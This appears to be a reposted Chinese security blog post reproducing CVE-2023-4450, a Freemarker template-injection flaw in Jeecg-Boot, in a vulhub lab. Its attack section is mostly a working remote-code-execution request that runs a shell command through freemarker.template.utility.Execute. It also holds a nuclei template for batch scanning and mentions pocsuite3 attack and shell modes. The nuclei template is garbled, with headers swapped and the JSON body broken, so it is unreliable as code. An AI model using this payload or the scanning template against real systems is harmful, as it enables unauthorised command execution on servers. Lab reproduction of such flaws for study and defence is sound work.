免责声明:
本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
漏洞描述
Jeecg-boot系统中queryFieldBySql接口在处理SQL时使用Freemarker进行处理,由于代码不规范或信任了用户输入而导致了服务端模板注入。
环境搭建
cd /vulhub/jeecg-boot/CVE-2023-4450
docker compose up -d
漏洞复现
打开页面
构造payload
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 172.16.10.10:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Length: 112
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Origin: http://172.16.10.10:8080
{"sql":"select 'result:<#assign value="freemarker.template.utility.Execute"?new()>${value("echo hello")}'"}'
nuclei批量验证(github自行获取)
id: Jeecg-Boot-SSTL-RCE
info:
name: Jeecg-Boot SSTI 模板注入
author: changge
severity: high
description: |
reference:
https://127.0.0.1
tags: yisaitong
http:
raw:
|
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: {{Hostname}}
Origin: http://{{Hostname}}
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 :
Accept: */*
gzip, deflate :
zh-CN,zh;q=0.9 :
Connection: close
application/json :
123 :
"select 'result:<#assign value="freemarker.template.utility.Execute"?new()>${value("echo hello")}'"}' :
matchers:
type: dsl
dsl:
status_code==200 && contains_all(body,"hello")
pocsuite3批量验证(github自行获取)
verify漏洞验证
attack漏洞利用
shell模式
github poc总汇地址:https://github.com/AYcg/poc
原文始发于微信公众号(长歌安全):Jeecg-Boot SSTI 模板注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论